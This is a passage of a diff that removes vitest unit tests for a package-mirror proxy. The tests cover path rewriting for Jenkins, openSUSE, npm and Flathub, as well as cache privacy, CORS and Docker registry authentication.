it('should handle workflow aggregator plugin download', () => {
const path =
'/jenkins/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe(
'/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi'
);
});
it('should handle blueocean plugin download', () => {
const path = '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi';
const result = transformPath(path, 'jenkins');
expect(result).toBe('/download/plugins/blueocean/1.27.8/blueocean.hpi');
});
});
describe('Special Path Handling', () => {
it('should prefix unknown paths with current', () => {
const result = transformPath('/jenkins/unknown-path', 'jenkins');
expect(result).toBe('/current/unknown-path');
});
it('should handle paths with query parameters', () => {
const result = transformPath('/jenkins/update-center.json?version=2.401', 'jenkins');
expect(result).toBe('/current/update-center.json?version=2.401');
});
it('should handle deep nested paths', () => {
const result = transformPath('/jenkins/some/deep/nested/path', 'jenkins');
expect(result).toBe('/current/some/deep/nested/path');
});
it('should handle root path', () => {
const result = transformPath('/jenkins/', 'jenkins');
expect(result).toBe('/current/');
});
});
describe('Real-world Jenkins URLs', () => {
const testCases = [
{
description: 'Jenkins update center',
input: '/jenkins/update-center.json',
expected: '/current/update-center.json'
},
{
description: 'Jenkins experimental update center',
input: '/jenkins/experimental/update-center.json',
expected: '/experimental/update-center.json'
},
{
description: 'Git plugin latest',
input: '/jenkins/download/plugins/git/5.2.1/git.hpi',
expected: '/download/plugins/git/5.2.1/git.hpi'
},
{
description: 'Maven plugin',
input: '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi',
expected: '/download/plugins/maven-plugin/3.27/maven-plugin.hpi'
},
{
description: 'Docker workflow plugin',
input: '/jenkins/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi',
expected: '/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi'
},
{
description: 'Blue Ocean plugin',
input: '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi',
expected: '/download/plugins/blueocean/1.27.8/blueocean.hpi'
}
];
testCases.forEach(({ description, input, expected }) => {
it(`should transform ${description} correctly`, () => {
const result = transformPath(input, 'jenkins');
expect(result).toBe(expected);
});
});
});
describe('Version Compatibility', () => {
it('should handle various plugin version formats', () => {
const versionFormats = [
'1.0.0',
'2.34.1',
'596.v8c21c963d92d',
'563.vd5d2e5c4007f',
'1.27.8',
'3.27'
];
versionFormats.forEach(version => {
const path = `/jenkins/download/plugins/test-plugin/${version}/test-plugin.hpi`;
const result = transformPath(path, 'jenkins');
expect(result).toBe(`/download/plugins/test-plugin/${version}/test-plugin.hpi`);
});
});
it('should handle plugin names with special characters', () => {
const pluginNames = [
'maven-plugin',
'workflow-aggregator',
'docker-workflow',
'ant',
'build-timeout',
'git',
'github',
'matrix-auth'
];
pluginNames.forEach(pluginName => {
const path = `/jenkins/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`;
const result = transformPath(path, 'jenkins');
expect(result).toBe(`/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`);
});
});
});
});
-82
View File
@@ -1,82 +0,0 @@
import { describe, expect, it } from 'vitest';
describe('npm URL Rewriting Fix', () => {
it('should correctly rewrite npm registry URLs to preserve package names', () => {
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
it('should handle scoped packages correctly', () => {
const mockOriginalText = JSON.stringify({
name: '@types/node',
versions: {
'20.0.0': {
dist: {
tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'
);
});
it('should handle multiple URLs in the same JSON response', () => {
const mockOriginalText = JSON.stringify({
dist: {
tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'
},
dependencies: {
dep: {
dist: {
tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'
}
}
}
});
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
expect(rewrittenData.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'
);
expect(rewrittenData.dependencies.dep.dist.tarball).toBe(
'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'
);
});
});
-62
View File
@@ -1,62 +0,0 @@
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('openSUSE Platform Configuration', () => {
it('should have openSUSE platform configured', () => {
expect(PLATFORMS.opensuse).toBe('https://download.opensuse.org');
});
it('should transform openSUSE paths correctly', () => {
const testCases = [
{
input:
'/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
expected: '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
description: 'Leap package file'
},
{
input: '/opensuse/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
expected: '/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
description: 'Tumbleweed package file'
},
{
input: '/opensuse/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
expected: '/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
description: 'repository metadata'
},
{
input:
'/opensuse/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
expected:
'/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
description: 'source package'
},
{
input: '/opensuse/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
expected: '/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
description: 'update package'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'opensuse');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
const result = transformPath('/opensuse/', 'opensuse');
expect(result).toBe('/');
});
it('should handle paths without platform prefix', () => {
const result = transformPath(
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
'opensuse'
);
expect(result).toBe(
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm'
);
});
});
-44
View File
@@ -1,44 +0,0 @@
/**
* Test setup and global configuration
* Simplified version - only essential setup
*/
import { beforeAll } from 'vitest';
/**
* Global setup - runs once before all tests
*/
beforeAll(async () => {
// Verify Cloudflare Workers environment
if (typeof globalThis.fetch === 'undefined') {
throw new Error('fetch is not available in test environment');
}
// Verify required Web APIs
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
for (const global of requiredGlobals) {
// @ts-ignore - Dynamic global access for testing
if (typeof globalThis[global] === 'undefined') {
throw new Error(`Required global ${global} is not available`);
}
}
// Verify SELF is available for Cloudflare Workers testing
try {
const { SELF } = await import('cloudflare:test');
if (!SELF) {
throw new Error('SELF is not available');
}
} catch {
console.warn('Warning: Cloudflare Workers test environment not available');
}
// Setup performance API if not available
if (typeof performance === 'undefined') {
// @ts-ignore - Partial performance implementation for testing
globalThis.performance = {
now: () => Date.now()
};
}
});
-24
View File
@@ -1,24 +0,0 @@
/**
* Type declarations for cloudflare:test module
* Based on @cloudflare/vitest-pool-workers
*/
declare module 'cloudflare:test' {
/**
* Service binding to the default export defined in the `main` worker
*/
export const SELF: {
fetch(request: RequestInfo, init?: RequestInit): Promise<Response>;
fetch(url: string, init?: RequestInit): Promise<Response>;
};
/**
* Creates an instance of ExecutionContext for use in tests
*/
export function createExecutionContext(): ExecutionContext;
/**
* Waits for all ExecutionContext.waitUntil() promises to settle
*/
export function waitOnExecutionContext(ctx: ExecutionContext): Promise<void>;
}
-131
View File
@@ -1,131 +0,0 @@
import { afterEach, describe, expect, it, vi } from 'vitest';
import apiHandler, { config as vercelConfig } from '../../adapters/functions/api/index.js';
import { handler as denoHandler } from '../../adapters/functions/deno.js';
import { onRequest } from '../../adapters/pages/functions/[[path]].js';
import { createRequestContext } from '../../src/app/request-context.js';
import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
import { normalizeEffectivePath, resolveTarget } from '../../src/routing/resolve-target.js';
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
/**
* Mocks the upstream fetch used by adapter smoke tests.
* @returns {ReturnType<typeof vi.spyOn>} Fetch spy.
*/
function mockUpstreamFetch() {
return vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('adapter-ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
}
describe('Application structure', () => {
it('builds a shared request context for protocol-aware routing', () => {
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'POST'
}
});
const context = createRequestContext(request, {
ALLOWED_METHODS: 'GET,HEAD,POST'
});
expect(context.isAI).toBe(true);
expect(context.isCorsPreflight).toBe(true);
expect(context.config.SECURITY.ALLOWED_METHODS).toContain('POST');
});
it('normalizes Docker host-style paths before resolving upstream targets', () => {
const url = new URL('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest');
const normalized = normalizeEffectivePath(url, true);
expect('effectivePath' in normalized).toBe(true);
if ('effectivePath' in normalized) {
expect(normalized.effectivePath).toBe('/cr/ghcr/v2/xixu-me/xget/manifests/latest');
const target = resolveTarget(url, normalized.effectivePath, PLATFORM_CATALOG);
expect('response' in target).toBe(false);
if (!('response' in target)) {
expect(target.platform).toBe('cr-ghcr');
expect(target.targetUrl).toBe('https://ghcr.io/v2/xixu-me/xget/manifests/latest');
}
}
});
it('exposes thin runtime adapter entrypoints', () => {
expect(typeof apiHandler).toBe('function');
expect(typeof denoHandler).toBe('function');
expect(typeof onRequest).toBe('function');
expect(vercelConfig).toEqual({ runtime: 'edge' });
});
it('delegates Cloudflare Pages requests through the shared handler with env overrides', async () => {
const fetchSpy = mockUpstreamFetch();
const waitUntil = vi.fn();
const response = await onRequest({
request: new Request('https://pages.example.com/gh/user/repo/pages-file.txt'),
env: { CACHE_DURATION: '42' },
params: {},
waitUntil,
next: async () => new Response('next'),
data: {}
});
expect(fetchSpy).toHaveBeenCalledWith(
'https://github.com/user/repo/pages-file.txt',
expect.objectContaining({ method: 'GET' })
);
expect(await response.text()).toBe('adapter-ok');
expect(response.headers.get('Cache-Control')).toContain('s-maxage=42');
});
it('delegates Netlify/Vercel function requests through the shared handler with env overrides', async () => {
const fetchSpy = mockUpstreamFetch();
const response = await apiHandler(
new Request('https://functions.example.com/gh/user/repo/functions-file.txt'),
{
env: { CACHE_DURATION: '43' },
geo: {},
waitUntil: vi.fn()
}
);
expect(fetchSpy).toHaveBeenCalledWith(
'https://github.com/user/repo/functions-file.txt',
expect.objectContaining({ method: 'GET' })
);
expect(await response.text()).toBe('adapter-ok');
expect(response.headers.get('Cache-Control')).toContain('s-maxage=43');
});
it('delegates Deno requests through the shared handler with env overrides', async () => {
const fetchSpy = mockUpstreamFetch();
vi.stubGlobal('Deno', {
env: {
get: vi.fn(name => (name === 'CACHE_DURATION' ? '44' : undefined))
}
});
const response = await denoHandler(
new Request('https://deno.example.com/gh/user/repo/deno-file.txt')
);
expect(fetchSpy).toHaveBeenCalledWith(
'https://github.com/user/repo/deno-file.txt',
expect.objectContaining({ method: 'GET' })
);
expect(await response.text()).toBe('adapter-ok');
expect(response.headers.get('Cache-Control')).toContain('s-maxage=44');
});
});
-102
View File
@@ -1,102 +0,0 @@
import { describe, expect, it } from 'vitest';
import { CONFIG } from '../../src/config/index.js';
import {
isImmutableArtifactRequest,
resolveCachePolicy,
resolveResponseCachePolicy
} from '../../src/upstream/cache-policy.js';
const requestContext = {
isAI: false,
isDocker: false,
isGit: false,
isGitLFS: false,
isHF: false
};
/**
* Resolves a cache policy with common non-protocol request defaults.
* @param {Partial<Parameters<typeof resolveCachePolicy>[0]>} overrides Policy inputs to override.
* @returns {ReturnType<typeof resolveCachePolicy>} Resolved cache policy.
*/
function resolvePolicy(overrides = {}) {
return resolveCachePolicy({
canUseCache: true,
config: CONFIG,
effectivePath: '/gh/user/repo/file.txt',
hasSensitiveHeaders: false,
platform: 'gh',
request: new Request('https://example.com/gh/user/repo/file.txt'),
requestContext,
targetUrl: 'https://github.com/user/repo/file.txt',
...overrides
});
}
describe('Cache policy edge coverage', () => {
it('uses metadata caching for Maven metadata files', () => {
const policy = resolvePolicy({
effectivePath: '/maven/maven2/org/example/demo/maven-metadata.xml',
platform: 'maven',
request: new Request('https://example.com/maven/maven2/org/example/demo/maven-metadata.xml'),
targetUrl: 'https://repo1.maven.org/maven2/org/example/demo/maven-metadata.xml'
});
expect(policy.cacheControl).toBe('public, max-age=0, s-maxage=60, must-revalidate');
expect(policy.edgeTtl).toBe(60);
});
it('does not treat incomplete or malformed artifact paths as immutable', () => {
expect(
isImmutableArtifactRequest(
'gh',
'/gh/user/repo/releases/download/',
'https://github.com/user/repo/releases/download/'
)
).toBe(false);
expect(
isImmutableArtifactRequest(
'pypi-files',
'/pypi/files/packages/source/p/pkg/pkg-%E0%A4%A.tar.gz',
''
)
).toBe(false);
});
it('treats Vary star as uncacheable at response time', () => {
const basePolicy = resolvePolicy();
const policy = resolveResponseCachePolicy({
basePolicy,
response: new Response('ok', {
headers: {
Vary: 'Accept-Encoding, *'
}
})
});
expect(policy.allowCacheApi).toBe(false);
expect(policy.cacheControl).toBe('no-store');
});
it('ignores non-standard header objects that throw during response cache checks', () => {
const basePolicy = resolvePolicy();
const response = {
headers: {
get() {
throw new Error('header get unavailable');
},
has() {
throw new Error('header has unavailable');
}
}
};
const policy = resolveResponseCachePolicy({
basePolicy,
response: /** @type {Response} */ (/** @type {unknown} */ (response))
});
expect(policy).toBe(basePolicy);
});
});
-140
View File
@@ -1,140 +0,0 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
describe('Cache Privacy', () => {
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
let cacheDefault;
/** @type {ReturnType<typeof vi.fn>} */
let fetchStub;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', { default: cacheDefault });
fetchStub = vi.fn(async () => {
return new Response('ok', {
status: 200,
headers: {
'Content-Type': 'text/plain'
}
});
});
vi.stubGlobal('fetch', fetchStub);
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('should not use Cache API for requests with Authorization', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET',
headers: {
Authorization: 'Bearer test-token'
}
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(fetchStub).toHaveBeenCalled();
expect(fetchStub.mock.calls[0][1]?.cf).toBeUndefined();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('should not enable Cloudflare fetch caching for requests with Cookie', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET',
headers: {
Cookie: 'session=secret'
}
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(fetchStub).toHaveBeenCalled();
expect(fetchStub.mock.calls[0][1]?.cf).toBeUndefined();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('should use Cache API for non-authenticated GET requests', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.match).toHaveBeenCalled();
expect(fetchStub).toHaveBeenCalled();
expect(response.headers.get('Cache-Control') || '').toContain('public');
});
it('should not cache upstream responses with Set-Cookie', async () => {
fetchStub.mockResolvedValueOnce(
new Response('private data', {
status: 200,
headers: {
'Content-Type': 'text/plain',
'Set-Cookie': 'session=upstream-secret'
}
})
);
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it.each([
['private', 'private, max-age=60', 'private, no-store'],
['no-store', 'public, no-store, max-age=60', 'no-store'],
['no-cache', 'public, no-cache, max-age=60', 'no-store']
])(
'should not publish-cache upstream %s responses',
async (_name, upstreamCacheControl, expected) => {
fetchStub.mockResolvedValueOnce(
new Response('uncacheable data', {
status: 200,
headers: {
'Cache-Control': upstreamCacheControl,
'Content-Type': 'text/plain'
}
})
);
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
const response = await worker.fetch(request, {}, ctx);
expect(response.status).toBe(200);
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe(expected);
}
);
});
-17
View File
@@ -1,17 +0,0 @@
// @vitest-environment node
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { describe, expect, it } from 'vitest';
const workflowPath = fileURLToPath(
new URL('../../.github/workflows/commitlint.yml', import.meta.url)
).replace(/^\/([A-Za-z]:[\\/])/, '$1');
const workflow = readFileSync(workflowPath, 'utf8');
describe('commitlint workflow', () => {
it('skips validation for Dependabot PR branches', () => {
expect(workflow).toContain("!startsWith(github.head_ref, 'dependabot/')");
});
});
-138
View File
@@ -1,138 +0,0 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('CORS and Proxy Request Options', () => {
beforeEach(() => {
vi.stubGlobal('caches', {
default: {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
}
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('does not send a synthetic Origin header upstream', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo/index.html'),
{},
executionContext
);
expect(response.status).toBe(200);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(upstreamHeaders.has('Origin')).toBe(false);
});
it('does not enable Cloudflare minification for proxied responses', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('<html>ok</html>', {
status: 200,
headers: { 'Content-Type': 'text/html' }
})
);
await worker.fetch(
new Request('https://example.com/gh/test/repo/index.html'),
{},
executionContext
);
const fetchOptions = /** @type {RequestInit & { cf?: Record<string, unknown> }} */ (
fetchSpy.mock.calls[0][1] || {}
);
expect(fetchOptions.cf).toEqual(
expect.objectContaining({
http3: true,
cacheEverything: true,
preconnect: true
})
);
expect(fetchOptions.cf).not.toHaveProperty('minify');
});
it('responds to preflight requests for allowed origins', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://app.example.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(204);
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
expect(response.headers.get('Access-Control-Allow-Methods')).toContain('GET');
expect(response.headers.get('Access-Control-Allow-Headers')).toBe('X-Custom-Header');
});
it('rejects preflight requests for disallowed origins', async () => {
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://evil.example.com',
'Access-Control-Request-Method': 'GET'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(403);
expect(response.headers.get('Access-Control-Allow-Origin')).toBeNull();
});
it('adds CORS headers to normal responses for allowed origins', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('ok', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/repo/file.txt', {
headers: {
Origin: 'https://app.example.com'
}
}),
{
ALLOWED_ORIGINS: 'https://app.example.com'
},
executionContext
);
expect(response.status).toBe(200);
expect(response.headers.get('Access-Control-Allow-Origin')).toBe('https://app.example.com');
expect(response.headers.get('Vary')).toContain('Origin');
});
});
-144
View File
@@ -1,144 +0,0 @@
import { afterEach, describe, expect, it, vi } from 'vitest';
import { CONFIG } from '../../src/config/index.js';
import {
fetchToken,
getScopeFromUrl,
handleDockerAuth,
normalizeRegistryApiPath,
parseAuthenticate,
readRegistryTokenResponse
} from '../../src/protocols/docker.js';
afterEach(() => {
vi.restoreAllMocks();
});
describe('Docker helper coverage', () => {
it('throws on malformed authenticate headers', () => {
expect(() => parseAuthenticate('Bearer service="registry.docker.io"')).toThrow(
/invalid WWW-Authenticate/
);
});
it('includes authorization when fetching registry tokens', async () => {
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
await fetchToken(
{ realm: 'https://auth.example.com/token', service: 'registry.example.com' },
'repository:demo/app:pull',
'Bearer registry-secret'
);
const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers);
expect(String(fetchSpy.mock.calls[0][0])).toContain('scope=repository%3Ademo%2Fapp%3Apull');
expect(upstreamHeaders.get('Authorization')).toBe('Bearer registry-secret');
});
it('reads both token formats and rejects malformed token payloads', async () => {
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify({ token: 'abc123' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBe('abc123');
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify({ access_token: 'def456' }), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBe('def456');
await expect(
readRegistryTokenResponse(
new Response(JSON.stringify('invalid-shape'), {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBeNull();
await expect(
readRegistryTokenResponse(
new Response('{not-json', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
)
).resolves.toBeNull();
});
it('derives catalog and empty scopes from registry paths', () => {
const catalogUrl = new URL('https://example.com/cr/ghcr/v2/_catalog');
const unsupportedUrl = new URL('https://example.com/cr/ghcr/v2');
expect(getScopeFromUrl(catalogUrl, catalogUrl.pathname, 'cr-ghcr')).toBe('registry:catalog:*');
expect(getScopeFromUrl(unsupportedUrl, unsupportedUrl.pathname, 'cr-ghcr')).toBe('');
});
it('leaves normalized registry paths untouched when no library prefix is needed', () => {
expect(normalizeRegistryApiPath('cr-ghcr', '/v2/org/app/manifests/latest')).toBe(
'/v2/org/app/manifests/latest'
);
expect(normalizeRegistryApiPath('cr-docker', '/v2/library/nginx/manifests/latest')).toBe(
'/v2/library/nginx/manifests/latest'
);
expect(normalizeRegistryApiPath('cr-docker', '/v2/_catalog')).toBe('/v2/_catalog');
});
it('returns a generic error for unsupported Docker auth scopes', async () => {
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
const request = new Request(
'https://example.com/v2/auth?scope=repository:cr/unknown/private:pull'
);
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(400);
expect(await response.text()).toBe('Invalid Docker authentication request');
expect(errorSpy).toHaveBeenCalledWith(
'Failed to resolve Docker auth target:',
expect.any(Error)
);
});
it('forwards upstream auth responses that are not challenges', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('already-authorized', {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(200);
expect(await response.text()).toBe('already-authorized');
});
it('forwards 401 responses without authenticate headers from the upstream root probe', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('missing-authenticate', {
status: 401,
headers: { 'Content-Type': 'text/plain' }
})
);
const request = new Request('https://example.com/cr/ghcr/v2/auth?service=Xget');
const response = await handleDockerAuth(request, new URL(request.url), CONFIG);
expect(response.status).toBe(401);
expect(await response.text()).toBe('missing-authenticate');
});
});
-150
View File
@@ -1,150 +0,0 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
/**
* Reads a response body as UTF-8 text without relying on the response MIME type.
* @param {Response} response
* @returns {Promise<string>} Decoded UTF-8 response text.
*/
async function readUtf8Text(response) {
return new TextDecoder().decode(await response.arrayBuffer());
}
describe('Flathub Response Rewriting', () => {
beforeEach(() => {
vi.stubGlobal('caches', {
default: {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
}
});
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('rewrites .flatpakrepo URLs to stay on the Xget mirror', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(
[
'[Flatpak Repo]',
'Url=https://dl.flathub.org/repo/',
'Icon=https://dl.flathub.org/repo/logo.svg',
'Homepage=https://flathub.org/'
].join('\n'),
{
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
}
)
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
expect(response.status).toBe(200);
const body = await readUtf8Text(response);
expect(body).toContain('Url=https://example.com/flathub/repo/');
expect(body).toContain('Icon=https://example.com/flathub/repo/logo.svg');
expect(body).toContain('Homepage=https://flathub.org/');
expect(response.headers.get('Content-Length')).toBe(
String(new TextEncoder().encode(body).length)
);
});
it('rewrites .flatpakref URLs to stay on the Xget mirror', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(
[
'[Flatpak Ref]',
'Name=org.gnome.gedit',
'Url=https://dl.flathub.org/repo/',
'RuntimeRepo=https://dl.flathub.org/repo/flathub.flatpakrepo'
].join('\n'),
{
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
}
)
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/appstream/org.gnome.gedit.flatpakref'),
{},
executionContext
);
expect(response.status).toBe(200);
const body = await readUtf8Text(response);
expect(body).toContain('Url=https://example.com/flathub/repo/');
expect(body).toContain('RuntimeRepo=https://example.com/flathub/repo/flathub.flatpakrepo');
});
it('uses host-scoped cache keys for rewritten Flathub descriptors', async () => {
const cacheEntries = new Map();
vi.stubGlobal('caches', {
default: {
match: vi.fn(async request => cacheEntries.get(request.url) || null),
put: vi.fn(async (request, response) => {
cacheEntries.set(request.url, response.clone());
})
}
});
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(
async () =>
new Response(`[Flatpak Repo]\nUrl=https://dl.flathub.org/repo/`, {
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
})
);
const responseA = await worker.fetch(
new Request('https://mirror-a.example/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
const responseB = await worker.fetch(
new Request('https://mirror-b.example/flathub/repo/flathub.flatpakrepo'),
{},
executionContext
);
expect(fetchSpy).toHaveBeenCalledTimes(2);
expect(await readUtf8Text(responseA)).toContain('Url=https://mirror-a.example/flathub/repo/');
expect(await readUtf8Text(responseB)).toContain('Url=https://mirror-b.example/flathub/repo/');
});
it('does not rewrite binary repository metadata like summary files', async () => {
vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('summary-binary-payload', {
status: 200,
headers: { 'Content-Type': 'application/octet-stream' }
})
);
const response = await worker.fetch(
new Request('https://example.com/flathub/repo/summary'),
{},
executionContext
);
expect(response.status).toBe(200);
expect(await readUtf8Text(response)).toBe('summary-binary-payload');
});
});
-15
View File
@@ -1,15 +0,0 @@
import { createRequire } from 'node:module';
import { describe, expect, it } from 'vitest';
describe('Package manifest', () => {
it('does not depend on itself', () => {
const require = createRequire(import.meta.url);
const packageJson = require('../../package.json');
const typedPackageJson =
/** @type {{ dependencies?: Record<string, string>, name: string }} */ (packageJson);
expect(typedPackageJson.name).toBe('xget');
expect(typedPackageJson.dependencies?.xget).toBeUndefined();
});
});
-380
View File
@@ -1,380 +0,0 @@
